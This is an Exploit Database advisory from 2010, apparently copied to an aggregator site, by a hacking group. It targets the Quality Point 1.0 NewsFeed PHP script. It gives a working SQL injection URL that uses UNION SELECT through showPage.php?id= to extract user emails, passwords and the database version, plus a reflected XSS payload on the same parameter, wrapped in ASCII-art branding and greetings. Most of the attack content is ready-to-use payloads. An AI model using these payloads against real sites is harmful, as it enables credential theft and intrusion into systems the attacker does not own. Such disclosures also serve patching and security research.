quality point 1.0 newsfeed – SQL Injection / Cross-Site Scripting

• Exploit Database
• 10 阅读

• 作者： Red-D3v1L
  日期： 2010-03-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11808/

• sEc-r1z crEw The Leaders for Penetration Testing In Middle East.
  +===================================================================================+
  ./SEC-R1Z _ __ __ _ _ ___ _ _ _ _ ___ _ _ _ _ 
  / /_ _ _ _ / _ _\/ _ _ /\\< |/_ _ _ _ /
  \ \_ _ _ _//___ // __||) / || / /
   \_ _ _ _//___ //| __ ||/||/ /
  _______\\_ _ \\2_0_1_0 |\|| / /____
  /_ _ _ _ _\ _ _ _/\ _ _ _ /|__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
  +===================================================================================+
  
  [?] ~ Note : sEc-r1z CrEw# r0x !
  ==============================================================================
  [?] Quality Point 1.0 NewsFeed (SQL/XSS) Multiple Remote Vulnerabilities
  ==============================================================================
  [?] My home:[ http://sec-r1z.com ]
  [?] For Ask:[r-d@passport.com]
  [?] Script: [ Quality Point 1.0 ]
  [?] home Script [ http://qualitypointtech.net ]
  [?] Language: [ PHP ]
  [?[ Best WishEs : [ The Love is End ... ]
  [?] Founder:[ Red-D3v1L ]
  [?] Gr44tz to:[ sec-r1z# CrEw - Mr.Tro0oqy - r1z - Sas-TerrOrisT And All My Frindes ]
  ########################################################################
  
  ===[ Exploit SQL ]===
   
  
  [»]Exploit :
   
  path/showPage.php?id=[SQL injection ]
  
  [>>] Demo : 
  
  http://server/NewsFeed/showPage.php?id=-348+union+select+1,concat%28email,0x3e,version%28%29,0x3e,password%29,3,4,5+from+qualityp_fnt.users%20--
  
  ------------
  ===[ Exploit XSS ]===
  
  [»]Exploit :
  
  showPage.php?id=[XSS]
  
  [>>] Demo : 
  
  http://server/NewsFeed/showPage.php?id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
  
  -----------------------